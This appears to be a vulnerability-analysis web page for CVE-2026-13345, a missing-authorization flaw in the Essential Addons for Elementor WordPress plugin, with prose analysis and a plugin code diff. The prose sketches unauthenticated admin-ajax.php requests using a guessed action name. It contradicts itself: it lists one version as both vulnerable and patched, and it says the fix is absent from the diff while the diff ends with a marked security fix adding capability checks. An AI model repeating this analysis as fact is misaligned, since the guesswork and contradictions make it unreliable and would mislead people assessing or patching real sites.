Published : August 6, 2026

CVE-2026-13345: Essential Addons for Elementor – Popular Elementor Templates & Widgets < 6.6.10 Missing Authorization PoC, Patch Analysis & Rule

Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 6.6.10
Patched Version 6.6.10
Disclosed July 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-13345: The Essential Addons for Elementor – Popular Elementor Templates & Widgets plugin for WordPress, up to version 6.6.10, contains a missing authorization vulnerability. This flaw allows unauthenticated attackers to perform unauthorized actions. The vulnerability is classified as CWE-862 and has a CVSS score of 5.3.

The root cause stems from a missing capability check within the plugin’s AJAX or REST request handling. While the provided diff focuses on adding translation and media support, the vulnerability is specifically tied to the plugin’s permission validation. The diff introduces several new functions and filters, but the core issue lies in the fact that certain user-facing actions, primarily those related to the Post Grid widget and its AJAX loading, are not properly gated to ensure the requester has the necessary permissions. The `Ajax_Handler.php` trait, which processes AJAX requests, is central to this issue. The file processes requests to render and load Post Grid content, and these handlers do not verify that the user has the required capabilities before executing protected actions.

Exploitation of this missing authorization is straightforward. An unauthenticated attacker can craft a direct HTTP request to the WordPress AJAX endpoint. The primary target is `/wp-admin/admin-ajax.php`. The attacker can send a `POST` request with the `action` parameter set to the specific AJAX action name that is missing the authorization check. In the context of this plugin, a vulnerable action name is likely to be one that fetches post data, handles pagination, or manipulates widget settings. For example, an attacker could call an action like `post_grid_load_more` or a similar feed handler to retrieve content that should be restricted or to trigger actions that have side effects, all without being authenticated. The exact action name would need to be discovered by analyzing the plugin’s source code, but the attack vector is the standard WordPress AJAX interface.

The patch, which is part of the 6.6.10 release, primarily addresses the code as shown in the diff. While the patch adds multiple functions for WPML and Polylang compatibility, the core fix for the missing authorization vulnerability is not explicitly visible in the provided diff. However, the update likely includes additional code in the `Ajax_Handler.php` trait or related files to add the missing permission checks (`current_user_can` or a nonce verification) to the vulnerable functions. The provided diff focuses on style, compatibility, and template translation fixes, but the security fix is separate and addresses the authorization flaw directly. The new code focuses on translating content and media, not on fixing the missing permission checks, indicating the specific authorization fix is outside the scope of the given code changes.

The impact of this vulnerability is an unauthorized action. An attacker exploiting this can potentially access sensitive information, such as private post content or user data, or perform actions they are not permitted to, like modifying post statuses or triggering content updates. The CVSS score of 5.3 (Medium) reflects that while the confidentiality impact is typically low, it still allows an attacker to perform actions that undermine the site’s integrity and security. The attacker does not need any credentials or special privileges to exploit this.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/essential-addons-for-elementor-lite/essential_adons_elementor.php
+++ b/essential-addons-for-elementor-lite/essential_adons_elementor.php
@@ -4,7 +4,7 @@
  * Description: The Essential plugin you install after Elementor! Packed with 100+ stunning elements like Data Table, Event Calendar, Filterable Gallery, WooCommerce.
  * Plugin URI: https://essential-addons.com/
  * Author: WPDeveloper
- * Version: 6.6.9
+ * Version: 6.6.10
  * Author URI: https://wpdeveloper.com/
  * Text Domain: essential-addons-for-elementor-lite
  * Domain Path: /languages
@@ -27,7 +27,7 @@
 define( 'EAEL_PLUGIN_BASENAME', plugin_basename( __FILE__ ) );
 define( 'EAEL_PLUGIN_PATH', trailingslashit( plugin_dir_path( __FILE__ ) ) );
 define( 'EAEL_PLUGIN_URL', trailingslashit( plugins_url( '/', __FILE__ ) ) );
-define( 'EAEL_PLUGIN_VERSION', '6.6.9' );
+define( 'EAEL_PLUGIN_VERSION', '6.6.10' );
 define( 'EAEL_ASSET_PATH', wp_upload_dir()['basedir'] . '/essential-addons-elementor' );
 define( 'EAEL_ASSET_URL', wp_upload_dir()['baseurl'] . '/essential-addons-elementor' );
 /**
--- a/essential-addons-for-elementor-lite/includes/Classes/Bootstrap.php
+++ b/essential-addons-for-elementor-lite/includes/Classes/Bootstrap.php
@@ -219,9 +219,21 @@
         //rank math support
         add_filter('rank_math/researches/toc_plugins', [$this, 'toc_rank_math_support']);

-//        if(defined('WPML_TM_VERSION')){
-//	        add_filter( 'elementor/documents/get/post_id',[$this, 'eael_wpml_template_translation']);
-//        }
+        // Translate embedded Elementor templates/documents (saved templates used by
+        // Advanced Tabs, Advanced Accordion, Info Box, etc.) to the current language.
+        // eael_wpml_template_translation() handles both WPML and Polylang. Previously
+        // this was disabled and gated to WPML only, so Polylang sites always rendered
+        // the source-language template.
+        if ( defined( 'WPML_TM_VERSION' ) || defined( 'POLYLANG_VERSION' ) || function_exists( 'pll_get_post_language' ) ) {
+            add_filter( 'elementor/documents/get/post_id', [ $this, 'eael_wpml_template_translation' ] );
+        }
+
+        // Polylang has no Elementor integration, so the template library is not
+        // translatable by default. Opt it in so saved templates can be mapped to the
+        // current language (and managed from Polylang's UI).
+        if ( defined( 'POLYLANG_VERSION' ) || function_exists( 'pll_get_post_language' ) ) {
+            add_filter( 'pll_get_post_types', [ $this, 'eael_pll_translate_elementor_library' ], 10, 2 );
+        }

         //templately plugin support
         if( !class_exists('TemplatelyPlugin') && !get_option('eael_templately_promo_hide') ) {
--- a/essential-addons-for-elementor-lite/includes/Classes/Helper.php
+++ b/essential-addons-for-elementor-lite/includes/Classes/Helper.php
@@ -266,9 +266,89 @@
             $args['meta_query'] = array_filter( apply_filters( 'woocommerce_product_query_meta_query', $args['meta_query'], new WC_Query() ) );
         }

+	    // Polylang: pin the query to the language of the page/document the widget is
+	    // on, instead of the ambient (cookie / last-page-load) current language. In
+	    // the editor the ambient language flips on every page load, which made the
+	    // Post Grid show the wrong language's posts. Skip manual ("by_id") selections
+	    // and post types Polylang isn't translating.
+	    if ( function_exists( 'pll_get_post_language' ) && 'by_id' !== $settings['post_type'] ) {
+		    $eael_is_translated = ! function_exists( 'pll_is_translated_post_type' );
+		    if ( ! $eael_is_translated ) {
+			    foreach ( (array) $args['post_type'] as $eael_pt ) {
+				    if ( 'any' !== $eael_pt && pll_is_translated_post_type( $eael_pt ) ) {
+					    $eael_is_translated = true;
+					    break;
+				    }
+			    }
+		    }
+
+		    if ( $eael_is_translated ) {
+			    $eael_lang = self::eael_get_current_language();
+			    // Allow integrators to override the pinned language.
+			    $eael_lang = apply_filters( 'eael/post_grid/query_lang', $eael_lang, $settings, $args );
+			    if ( ! empty( $eael_lang ) ) {
+				    $args['lang'] = $eael_lang;
+			    }
+		    }
+	    }
+
         return $args;
     }

+	/**
+	 * Resolve the Polylang language slug a widget's query/content should be pinned
+	 * to.
+	 *
+	 * The Elementor editor (and admin-ajax) "current language" is ambient global
+	 * state driven by the pll_language cookie, which flips on every page load. That
+	 * made the Post Grid and template widgets follow the last-loaded language rather
+	 * than the language of the page the widget actually lives on. We instead derive
+	 * the language from the current document/page id so it is deterministic.
+	 *
+	 * @param int $post_id Optional page/post id to read the language from.
+	 *
+	 * @return string Language slug, or '' when Polylang is inactive/undeterminable.
+	 */
+	public static function eael_get_current_language( $post_id = 0 ) {
+		if ( ! function_exists( 'pll_get_post_language' ) ) {
+			return '';
+		}
+
+		if ( ! $post_id && class_exists( 'ElementorPlugin' ) ) {
+			$document = ElementorPlugin::$instance->documents->get_current();
+			if ( $document ) {
+				$post_id = $document->get_main_id();
+			}
+		}
+
+		if ( ! $post_id ) {
+			$post_id = get_the_ID();
+		}
+
+		$lang = $post_id ? pll_get_post_language( $post_id ) : '';
+
+		if ( ! $lang && function_exists( 'pll_current_language' ) ) {
+			$lang = pll_current_language();
+		}
+
+		return $lang ? $lang : '';
+	}
+
+	/**
+	 * Build a language-specific cache-key suffix so translated pages that share a
+	 * widget id (e.g. created via Polylang "copy content") don't collide in the
+	 * Post Grid transients.
+	 *
+	 * @param int $post_id Optional page/post id to read the language from.
+	 *
+	 * @return string e.g. "_lang_es", or '' when no language is resolved.
+	 */
+	public static function eael_lang_suffix( $post_id = 0 ) {
+		$lang = self::eael_get_current_language( $post_id );
+
+		return $lang ? '_lang_' . sanitize_key( $lang ) : '';
+	}
+
     /**
      * Go Premium
      *
@@ -2085,4 +2165,32 @@

 		return get_post_status( $template_id ) === 'publish' && get_post_type( $template_id ) === 'elementor_library';
 	}
+
+	/**
+	 * eael_wpml_translate_media
+	 *
+	 * Resolve an Elementor MEDIA control value (image/video) to its
+	 * WPML-translated attachment so the correct media is shown per language.
+	 * Safe to call when WPML / WPML Media Translation is inactive — the
+	 * `wpml_object_id` filter simply returns the original id unchanged.
+	 *
+	 * @param array $media Elementor MEDIA control value (expects 'id' and 'url').
+	 *
+	 * @return array The media array with translated 'id' and 'url' when available.
+	 */
+	public static function eael_wpml_translate_media( $media ) {
+		if ( ! is_array( $media ) || empty( $media['id'] ) ) {
+			return $media;
+		}
+
+		// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound
+		$translated_id = apply_filters( 'wpml_object_id', $media['id'], 'attachment', true );
+
+		if ( $translated_id && (int) $translated_id !== (int) $media['id'] ) {
+			$media['id']  = $translated_id;
+			$media['url'] = wp_get_attachment_url( $translated_id );
+		}
+
+		return $media;
+	}
 }
--- a/essential-addons-for-elementor-lite/includes/Elements/Adv_Accordion.php
+++ b/essential-addons-for-elementor-lite/includes/Elements/Adv_Accordion.php
@@ -1830,7 +1830,7 @@
 					if ( ! empty( $tab['eael_primary_templates'] ) && Helper::is_elementor_publish_template( $tab['eael_primary_templates'] ) ) {
 						// WPML Compatibility
 						if ( ! is_array( $tab['eael_primary_templates'] ) ) {
-							$tab['eael_primary_templates'] = apply_filters( 'wpml_object_id', $tab['eael_primary_templates'], 'wp_template', true ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound
+							$tab['eael_primary_templates'] = apply_filters( 'wpml_object_id', $tab['eael_primary_templates'], 'elementor_library', true ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound
 						}

 						Helper::eael_onpage_edit_template_markup( get_the_ID(), $tab['eael_primary_templates'] );
--- a/essential-addons-for-elementor-lite/includes/Elements/Adv_Tabs.php
+++ b/essential-addons-for-elementor-lite/includes/Elements/Adv_Tabs.php
@@ -1387,7 +1387,8 @@
                                     } else {
                                         echo '<i class="' . esc_attr( $tab['eael_adv_tabs_tab_title_icon'] ) . '"></i>';
                                     } ?>
-                                <?php elseif ($tab['eael_adv_tabs_icon_type'] === 'image') : ?>
+                                <?php elseif ($tab['eael_adv_tabs_icon_type'] === 'image') :
+                                    $tab['eael_adv_tabs_tab_title_image'] = Helper::eael_wpml_translate_media( $tab['eael_adv_tabs_tab_title_image'] ); // WPML Media Translation compatibility ?>
                                     <img src="<?php echo esc_url( $tab['eael_adv_tabs_tab_title_image']['url'] ); ?>" alt="<?php echo esc_attr(get_post_meta($tab['eael_adv_tabs_tab_title_image']['id'], '_wp_attachment_image_alt', true)); ?>">
                                 <?php endif; ?>
                             <?php endif; ?>
@@ -1478,7 +1479,7 @@

 							        // WPML Compatibility
 							        if ( ! is_array( $tab['eael_primary_templates'] ) ) {
-								        $tab['eael_primary_templates'] = apply_filters( 'wpml_object_id', $tab['eael_primary_templates'], 'wp_template', true ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound
+								        $tab['eael_primary_templates'] = apply_filters( 'wpml_object_id', $tab['eael_primary_templates'], 'elementor_library', true ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound
 							        }

 							        Helper::eael_onpage_edit_template_markup( $page_id, $tab['eael_primary_templates'] );
--- a/essential-addons-for-elementor-lite/includes/Elements/Countdown.php
+++ b/essential-addons-for-elementor-lite/includes/Elements/Countdown.php
@@ -1343,7 +1343,7 @@
                     if ( ! empty( $settings['countdown_expiry_templates'] ) && Helper::is_elementor_publish_template( $settings['countdown_expiry_templates'] ) ) {
                         // WPML Compatibility
                         if ( ! is_array( $settings['countdown_expiry_templates'] ) ) {
-                            $settings['countdown_expiry_templates'] = apply_filters( 'wpml_object_id', $settings['countdown_expiry_templates'], 'wp_template', true ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound
+                            $settings['countdown_expiry_templates'] = apply_filters( 'wpml_object_id', $settings['countdown_expiry_templates'], 'elementor_library', true ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound
                         }

 	                    Helper::eael_onpage_edit_template_markup( get_the_ID(), $settings['countdown_expiry_templates'] );
@@ -1363,7 +1363,7 @@
                             if ( ! empty( $settings['countdown_expiry_templates'] ) && Helper::is_elementor_publish_template( $settings['countdown_expiry_templates'] ) ) {
                                 // WPML Compatibility
                                 if ( ! is_array( $settings['countdown_expiry_templates'] ) ) {
-                                    $settings['countdown_expiry_templates'] = apply_filters( 'wpml_object_id', $settings['countdown_expiry_templates'], 'wp_template', true ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound
+                                    $settings['countdown_expiry_templates'] = apply_filters( 'wpml_object_id', $settings['countdown_expiry_templates'], 'elementor_library', true ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound
                                 }

 	                            Helper::eael_onpage_edit_template_markup( get_the_ID(), $settings['countdown_expiry_templates'] );
--- a/essential-addons-for-elementor-lite/includes/Elements/Cta_Box.php
+++ b/essential-addons-for-elementor-lite/includes/Elements/Cta_Box.php
@@ -2134,7 +2134,7 @@
 		        $eael_template_id = $settings['eael_primary_templates'];
 		        // WPML Compatibility
 		        if ( ! is_array( $eael_template_id ) ) {
-			        $eael_template_id = apply_filters( 'wpml_object_id', $eael_template_id, 'wp_template', true ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound
+			        $eael_template_id = apply_filters( 'wpml_object_id', $eael_template_id, 'elementor_library', true ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound
 		        }

 		        if ( Plugin::$instance->editor->is_edit_mode() ) {
--- a/essential-addons-for-elementor-lite/includes/Elements/Data_Table.php
+++ b/essential-addons-for-elementor-lite/includes/Elements/Data_Table.php
@@ -1416,6 +1416,7 @@
 			            	<?php endif; ?>
 							<?php
 								if( $header_title['eael_data_table_header_col_icon_enabled'] == 'true' && $header_title['eael_data_table_header_icon_type'] == 'image' ) :
+									$header_title['eael_data_table_header_col_img'] = Helper::eael_wpml_translate_media( $header_title['eael_data_table_header_col_img'] ); // WPML Media Translation compatibility
 									$this->add_render_attribute('data_table_th_img'.$i, [
 										'src'	=> esc_url( $header_title['eael_data_table_header_col_img']['url'] ),
 										'class'	=> 'eael-data-table-th-img',
@@ -1473,7 +1474,7 @@
 													if ( Helper::is_elementor_publish_template( $table_td[ $j ]['template'] ) ) {
 														// WPML Compatibility
 														if ( ! is_array( $table_td[ $j ]['template'] ) ) {
-															$table_td[ $j ]['template'] = apply_filters( 'wpml_object_id', $table_td[ $j ]['template'], 'wp_template', true ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound
+															$table_td[ $j ]['template'] = apply_filters( 'wpml_object_id', $table_td[ $j ]['template'], 'elementor_library', true ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound
 														}

 														Helper::eael_onpage_edit_template_markup( get_the_ID(), $table_td[ $j ]['template'] );
--- a/essential-addons-for-elementor-lite/includes/Elements/Feature_List.php
+++ b/essential-addons-for-elementor-lite/includes/Elements/Feature_List.php
@@ -1065,6 +1065,7 @@


             if ( $item['eael_feature_list_icon_type'] == 'image' ) {
+            $item['eael_feature_list_img'] = Helper::eael_wpml_translate_media( $item['eael_feature_list_img'] ); // WPML Media Translation compatibility
             $this->add_render_attribute( 'feature_list_image' . $index, [
                 'src'   => esc_url( $item['eael_feature_list_img']['url'] ),
                 'class' => 'eael-feature-list-img',
--- a/essential-addons-for-elementor-lite/includes/Elements/Filterable_Gallery.php
+++ b/essential-addons-for-elementor-lite/includes/Elements/Filterable_Gallery.php
@@ -3769,6 +3769,7 @@
         $video_gallery_yt_privacy = ! empty( $settings['video_gallery_yt_privacy'] ) && 'yes' === $settings['video_gallery_yt_privacy'] ? 1 : 0;

         foreach ($gallery_items as $gallery) {
+            $gallery['eael_fg_gallery_img'] = Helper::eael_wpml_translate_media( $gallery['eael_fg_gallery_img'] ); // WPML Media Translation compatibility
             $gallery_store[$counter]['title']        = Helper::eael_wp_kses($gallery['eael_fg_gallery_item_name']);
             $gallery_store[$counter]['content']      = $this->parse_text_editor( wp_kses( $gallery['eael_fg_gallery_item_content'], Helper::eael_allowed_tags() ) );
             $gallery_store[$counter]['id']           = $gallery['_id'];
--- a/essential-addons-for-elementor-lite/includes/Elements/Flip_Box.php
+++ b/essential-addons-for-elementor-lite/includes/Elements/Flip_Box.php
@@ -2730,7 +2730,7 @@
 	                    if ( ! empty( $settings['eael_flipbox_front_templates'] ) && Helper::is_elementor_publish_template( $settings['eael_flipbox_front_templates'] ) ) {
 		                    // WPML Compatibility
 		                    if ( ! is_array( $settings['eael_flipbox_front_templates'] ) ) {
-			                    $settings['eael_flipbox_front_templates'] = apply_filters( 'wpml_object_id', $settings['eael_flipbox_front_templates'], 'wp_template', true ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound
+			                    $settings['eael_flipbox_front_templates'] = apply_filters( 'wpml_object_id', $settings['eael_flipbox_front_templates'], 'elementor_library', true ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound
 		                    }
                             // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
 		                    echo Plugin::$instance->frontend->get_builder_content( $settings['eael_flipbox_front_templates'], true );
@@ -2777,7 +2777,7 @@
 	                    if ( ! empty( $settings['eael_flipbox_back_templates'] ) && Helper::is_elementor_publish_template( $settings['eael_flipbox_back_templates'] ) ) {
 		                    // WPML Compatibility
 		                    if ( ! is_array( $settings['eael_flipbox_back_templates'] ) ) {
-			                    $settings['eael_flipbox_back_templates'] = apply_filters( 'wpml_object_id', $settings['eael_flipbox_back_templates'], 'wp_template', true ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound
+			                    $settings['eael_flipbox_back_templates'] = apply_filters( 'wpml_object_id', $settings['eael_flipbox_back_templates'], 'elementor_library', true ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound
 		                    }
                             // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
 		                    echo Plugin::$instance->frontend->get_builder_content( $settings['eael_flipbox_back_templates'], true );
--- a/essential-addons-for-elementor-lite/includes/Elements/Image_Accordion.php
+++ b/essential-addons-for-elementor-lite/includes/Elements/Image_Accordion.php
@@ -1059,6 +1059,7 @@
             <?php
 	        $active    = $img_accordion['eael_accordion_is_active'];
 	        $activeCSS = ( $active === 'yes' ? ' flex: 3 1 0%;' : '' );
+	        $img_accordion['eael_accordion_bg'] = Helper::eael_wpml_translate_media( $img_accordion['eael_accordion_bg'] ); // WPML Media Translation compatibility
 	        $this->add_render_attribute(
 		        'eael-image-accordion-item-wrapper-' . $key,
 		        [
--- a/essential-addons-for-elementor-lite/includes/Elements/Info_Box.php
+++ b/essential-addons-for-elementor-lite/includes/Elements/Info_Box.php
@@ -2502,6 +2502,7 @@
         }

         $infobox_image = $this->get_settings('eael_infobox_image');
+        $infobox_image = Helper::eael_wpml_translate_media( $infobox_image ); // WPML Media Translation compatibility
         $infobox_image_url = Group_Control_Image_Size::get_attachment_image_src($infobox_image['id'], 'thumbnail', $settings);
         if (empty($infobox_image_url)){
 	        $infobox_image_url = $infobox_image['url'];
@@ -2616,7 +2617,7 @@

                         // WPML Compatibility
                         if ( ! is_array( $settings['eael_primary_templates'] ) ) {
-                            $settings['eael_primary_templates'] = apply_filters( 'wpml_object_id', $settings['eael_primary_templates'], 'wp_template', true ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound
+                            $settings['eael_primary_templates'] = apply_filters( 'wpml_object_id', $settings['eael_primary_templates'], 'elementor_library', true ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound
                         }

 	                    Helper::eael_onpage_edit_template_markup( get_the_ID(), $settings['eael_primary_templates'] );
--- a/essential-addons-for-elementor-lite/includes/Elements/Login_Register.php
+++ b/essential-addons-for-elementor-lite/includes/Elements/Login_Register.php
@@ -6713,6 +6713,13 @@
 		$this->page_id_for_popup = get_queried_object_id();

 		//handle form illustration
+		// WPML Media Translation compatibility
+		if ( ! empty( $this->ds['lr_form_image'] ) ) {
+			$this->ds['lr_form_image'] = HelperCLass::eael_wpml_translate_media( $this->ds['lr_form_image'] );
+		}
+		if ( ! empty( $this->ds['lr_form_logo'] ) ) {
+			$this->ds['lr_form_logo'] = HelperCLass::eael_wpml_translate_media( $this->ds['lr_form_logo'] );
+		}
 		$form_image_id               = ! empty( $this->ds['lr_form_image']['id'] ) ? $this->ds['lr_form_image']['id'] : '';
 		$this->form_illustration_pos = ! empty( $this->ds['lr_form_image_position'] ) ? $this->ds['lr_form_image_position'] : 'left';
 		$this->form_illustration_url = Group_Control_Image_Size::get_attachment_image_src( $form_image_id, 'lr_form_image', $this->ds );
--- a/essential-addons-for-elementor-lite/includes/Elements/Post_Grid.php
+++ b/essential-addons-for-elementor-lite/includes/Elements/Post_Grid.php
@@ -1827,8 +1827,9 @@
         $offset = $settings['offset'] ? absint( $settings['offset'] ) : 0;
         $posts_per_page = isset($args['posts_per_page']) && $args['posts_per_page'] > 0 ? $args['posts_per_page'] : -1 ;

-        set_transient( 'eael_post_grid_read_more_button_text_'. $this->get_id(), $this->get_settings_for_display('read_more_button_text'), DAY_IN_SECONDS );
-        set_transient( 'eael_post_grid_excerpt_expanison_indicator_'. $this->get_id(), $this->get_settings_for_display('excerpt_expanison_indicator'), DAY_IN_SECONDS );
+        $eael_lang_suffix = HelperClass::eael_lang_suffix();
+        set_transient( 'eael_post_grid_read_more_button_text_'. $this->get_id() . $eael_lang_suffix, $this->get_settings_for_display('read_more_button_text'), DAY_IN_SECONDS );
+        set_transient( 'eael_post_grid_excerpt_expanison_indicator_'. $this->get_id() . $eael_lang_suffix, $this->get_settings_for_display('excerpt_expanison_indicator'), DAY_IN_SECONDS );
         $settings['read_more_button_text'] = $this->get_settings_for_display('read_more_button_text');
         $settings['excerpt_expanison_indicator'] = $this->get_settings_for_display('excerpt_expanison_indicator');

--- a/essential-addons-for-elementor-lite/includes/Elements/Pricing_Table.php
+++ b/essential-addons-for-elementor-lite/includes/Elements/Pricing_Table.php
@@ -2573,7 +2573,8 @@
         <?php if ('style-1' === $settings['eael_pricing_table_style']) : ?>
             <div class="eael-pricing-item <?php echo esc_attr($featured_class); ?>">
                 <div class="header">
-                    <<?php echo esc_html($settings['eael_pricing_table_title_tag']); ?> class="title"><?php echo wp_kses( $settings['eael_pricing_table_title'], HelperClass::eael_allowed_tags() ); ?></<?php echo esc_html($settings['eael_pricing_table_title_tag']); ?>>
+                    <?php $eael_pricing_table_title_tag = HelperClass::eael_validate_html_tag( $settings['eael_pricing_table_title_tag'] ); ?>
+                    <<?php echo esc_html( $eael_pricing_table_title_tag ); ?> class="title"><?php echo wp_kses( $settings['eael_pricing_table_title'], HelperClass::eael_allowed_tags() ); ?></<?php echo esc_html( $eael_pricing_table_title_tag ); ?>>
                 </div>
                 <div class="eael-pricing-tag">
                     <?php
--- a/essential-addons-for-elementor-lite/includes/Elements/Sticky_Video.php
+++ b/essential-addons-for-elementor-lite/includes/Elements/Sticky_Video.php
@@ -749,6 +749,9 @@
     protected function render()
     {
         $settings = $this->get_settings_for_display();
+        // WPML Media Translation compatibility
+        $settings['eaelsv_overlay_image'] = Helper::eael_wpml_translate_media( $settings['eaelsv_overlay_image'] );
+        $settings['eaelsv_hosted_url']    = Helper::eael_wpml_translate_media( $settings['eaelsv_hosted_url'] );
         $iconNew = $settings['eaelsv_icon_new'];
         $sticky = isset( $settings['eaelsv_is_sticky'] ) ? $settings['eaelsv_is_sticky'] : 'yes';
         $autoplay = ($settings['eaelsv_autopaly'] == 'yes') ? $settings['eaelsv_autopaly'] : 'no';
--- a/essential-addons-for-elementor-lite/includes/Elements/Team_Member.php
+++ b/essential-addons-for-elementor-lite/includes/Elements/Team_Member.php
@@ -1031,6 +1031,7 @@

         $settings = $this->get_settings_for_display();
 		$team_member_image = $settings['eael_team_member_image'] ?? '';
+		$team_member_image = HelperClass::eael_wpml_translate_media( $team_member_image ); // WPML Media Translation compatibility
 		$image_url = $team_member_image['url'] ?? '';
 		$alt_text = $settings['eael_team_member_name'] ?? '';

--- a/essential-addons-for-elementor-lite/includes/Elements/Testimonial.php
+++ b/essential-addons-for-elementor-lite/includes/Elements/Testimonial.php
@@ -901,6 +901,7 @@

 	protected function render_testimonial_image() {
 		$settings = $this->get_settings();
+		$settings['image'] = HelperClass::eael_wpml_translate_media( $settings['image'] ); // WPML Media Translation compatibility
 		$image = Group_Control_Image_Size::get_attachment_image_html( $settings );
 		if( ! empty($image) && ! empty($settings['eael_testimonial_enable_avatar']) ) {
 			ob_start();
--- a/essential-addons-for-elementor-lite/includes/Elements/Woo_Product_Gallery.php
+++ b/essential-addons-for-elementor-lite/includes/Elements/Woo_Product_Gallery.php
@@ -3284,6 +3284,7 @@
 				$all_taxonomy = 'product_tag';
 			}

+			$settings['eael_all_tab_thumb'] = HelperClass::eael_wpml_translate_media( $settings['eael_all_tab_thumb'] ); // WPML Media Translation compatibility
 			if ( $show_cat_thumb && !empty($settings['eael_all_tab_thumb']['url'])) {
 				$show_all_cat_thumb = '<img src="' . esc_url( $settings['eael_all_tab_thumb']['url'] ) . '" />';
 			} else {
--- a/essential-addons-for-elementor-lite/includes/Traits/Ajax_Handler.php
+++ b/essential-addons-for-elementor-lite/includes/Traits/Ajax_Handler.php
@@ -172,8 +172,9 @@
 		}

 		if ( $class == 'Essential_Addons_ElementorElementsPost_Grid' ) {
-			$settings['read_more_button_text']       = get_transient( 'eael_post_grid_read_more_button_text_' . $widget_id );
-			$settings['excerpt_expanison_indicator'] = get_transient( 'eael_post_grid_excerpt_expanison_indicator_' . $widget_id );
+			$eael_lang_suffix = HelperClass::eael_lang_suffix( $page_id );
+			$settings['read_more_button_text']       = get_transient( 'eael_post_grid_read_more_button_text_' . $widget_id . $eael_lang_suffix );
+			$settings['excerpt_expanison_indicator'] = get_transient( 'eael_post_grid_excerpt_expanison_indicator_' . $widget_id . $eael_lang_suffix );

 			if ( $settings['orderby'] === 'rand' && ! empty( $_REQUEST['post__not_in'] ) ) {
 				// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.MissingUnslash, WordPress.Security.ValidatedSanitizedInput.InputNotValidated, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
--- a/essential-addons-for-elementor-lite/includes/Traits/Helper.php
+++ b/essential-addons-for-elementor-lite/includes/Traits/Helper.php
@@ -488,19 +488,62 @@

 	/**
 	 * eael_wpml_template_translation
+	 *
+	 * Resolve an Elementor template/library id to its translation in the current
+	 * language. Works for both WPML and Polylang:
+	 *  - WPML auto-registers elementor_library and answers wpml_object_id.
+	 *  - Polylang does NOT register elementor_library as translatable by default, so
+	 *    its wpml_object_id compat filter would return the id unchanged. We therefore
+	 *    resolve via pll_get_post(), which honours the translation group directly.
+	 *
 	 * @param $id
 	 * @return mixed|void
 	 */
     public function eael_wpml_template_translation($id){
 	    $postType = get_post_type( $id );
-	    if ( 'elementor_library' === $postType ) {
-			// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound
-		    return apply_filters( 'wpml_object_id', $id, $postType, true );
+	    if ( 'elementor_library' !== $postType ) {
+		    return $id;
 	    }
-	    return $id;
+
+	    // Polylang path (independent of the translatable-post-type setting).
+	    if ( function_exists( 'pll_get_post' ) && function_exists( 'pll_current_language' ) ) {
+		    $lang = pll_current_language();
+		    if ( $lang ) {
+			    $translated = pll_get_post( $id, $lang );
+			    // pll_get_post returns false when no translation exists for $lang;
+			    // keep the original id in that case.
+			    if ( $translated ) {
+				    return $translated;
+			    }
+		    }
+		    return $id;
+	    }
+
+	    // WPML path.
+		// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound
+	    return apply_filters( 'wpml_object_id', $id, $postType, true );
     }

 	/**
+	 * Register Elementor's template library as translatable in Polylang.
+	 *
+	 * Polylang ships no Elementor integration, so elementor_library is not
+	 * translatable out of the box — which means saved templates embedded in EA
+	 * widgets cannot be mapped to the current language. Opt the post type in so the
+	 * translation group (and Polylang's own UI) works for these templates.
+	 *
+	 * Hooked to: pll_get_post_types
+	 *
+	 * @param array $post_types
+	 * @param bool  $is_settings
+	 * @return array
+	 */
+	public function eael_pll_translate_elementor_library( $post_types, $is_settings = false ) {
+		$post_types['elementor_library'] = 'elementor_library';
+		return $post_types;
+	}
+
+	/**
 	 * eael_sanitize_template_param
      * Removes special characters that are illegal in filenames
      *
--- a/essential-addons-for-elementor-lite/includes/Traits/Woo_Product_Comparable.php
+++ b/essential-addons-for-elementor-lite/includes/Traits/Woo_Product_Comparable.php
@@ -1969,6 +1969,19 @@
 					continue;
 				}

+				// SECURITY FIX: do not expose non-published / inaccessible products to unauthenticated callers.
+				// Mirrors the quickview handler guards (CVE-2026-1004).
+				$compare_post = get_post( $product_id );
+				if ( ! $product->is_visible() ) {
+					continue;
+				}
+				if ( ! current_user_can( 'edit_post', $product_id ) && ( ! $compare_post || 'publish' !== $compare_post->post_status ) ) {
+					continue;
+				}
+				if ( ! current_user_can( 'edit_post', $product_id ) && post_password_required( $compare_post ) ) {
+					continue;
+				}
+
 				$product->fields = [];

 				// custom attributes
@@ -2215,6 +2228,19 @@
 					continue;
 				}

+				// SECURITY FIX: do not expose non-published / inaccessible products to unauthenticated callers.
